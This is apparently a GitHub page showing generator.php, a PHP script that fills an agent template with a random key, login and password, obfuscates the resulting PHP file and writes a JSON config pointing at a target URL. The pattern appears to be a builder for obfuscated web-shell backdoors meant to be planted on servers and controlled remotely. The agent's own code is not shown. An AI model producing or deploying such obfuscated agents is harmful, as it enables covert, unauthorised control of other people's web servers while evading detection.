-
Notifications
You must be signed in to change notification settings - Fork 27
/
Copy pathgenerator.php
76 lines (61 loc) · 2.06 KB
/
generator.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<?php
require 'obfuscator/src/Obfuscator.php';
require 'functions.php';
$config_template = './templates/target.json';
$agent_template = './templates/agent.php';
$output_dir = './output/';
$options = getopt("u:");
if (!isset($options['u'])) {
echo " [-] Invalid arguments.\n";
exit(-1);
}
// Agent filename
$filename = null;
do {
$line = readline(" [?] Filename for the agent: ");
$filename = trim(str_replace(array("\n", "\r"), '', $line));
if (strlen($filename) == 0) {
$filename = null;
}
} while (is_null($filename));
$url = $options['u'];
try {
$login = random_str(32);
$password = random_str(32);
$key = bin2hex(openssl_random_pseudo_bytes(16));
}catch (Exception $e){
exit($e->getMessage());
}
// Agent content
$data = file_get_contents($agent_template);
$data = str_replace("[KEY_HERE]", $key, $data);
$data = str_replace("[LOGIN_HERE]", $login, $data);
$data = str_replace("[PASSWORD_HERE]", $password, $data);
$agent_file = $output_dir . $filename . '.php';
$agent_filename = $filename;
file_put_contents($agent_file, $data);
unlink($agent_file);
$agent_data = str_replace(array('<?php', '<?', '?>'), '', $data);
$obfuscated_data = new Obfuscator($agent_data, 'Class/Code helper');
file_put_contents($agent_file, '<?php ' . "\r\n" . $obfuscated_data);
echo " [+] Agent was generated properly.\n";
// Configuration file
$filename = null;
do {
$line = readline(" [?] Filename for the config file: ");
$filename = trim(str_replace(array(
"\n",
"\r"
), '', $line));
if (strlen($filename) == 0) {
$filename = null;
}
} while (is_null($filename));
$data = file_get_contents($config_template);
$data = str_replace("[KEY_HERE]", $key, $data);
$data = str_replace("[LOGIN_HERE]", $login, $data);
$data = str_replace("[PASSWORD_HERE]", $password, $data);
$data = str_replace("[URL_HERE]", "{$url}{$agent_filename}.php", $data);
file_put_contents($output_dir . $filename . '.json', $data);
echo " [+] Configuration file was generated properly.\n";
echo "\n\tOpen the output folder :D\n\n";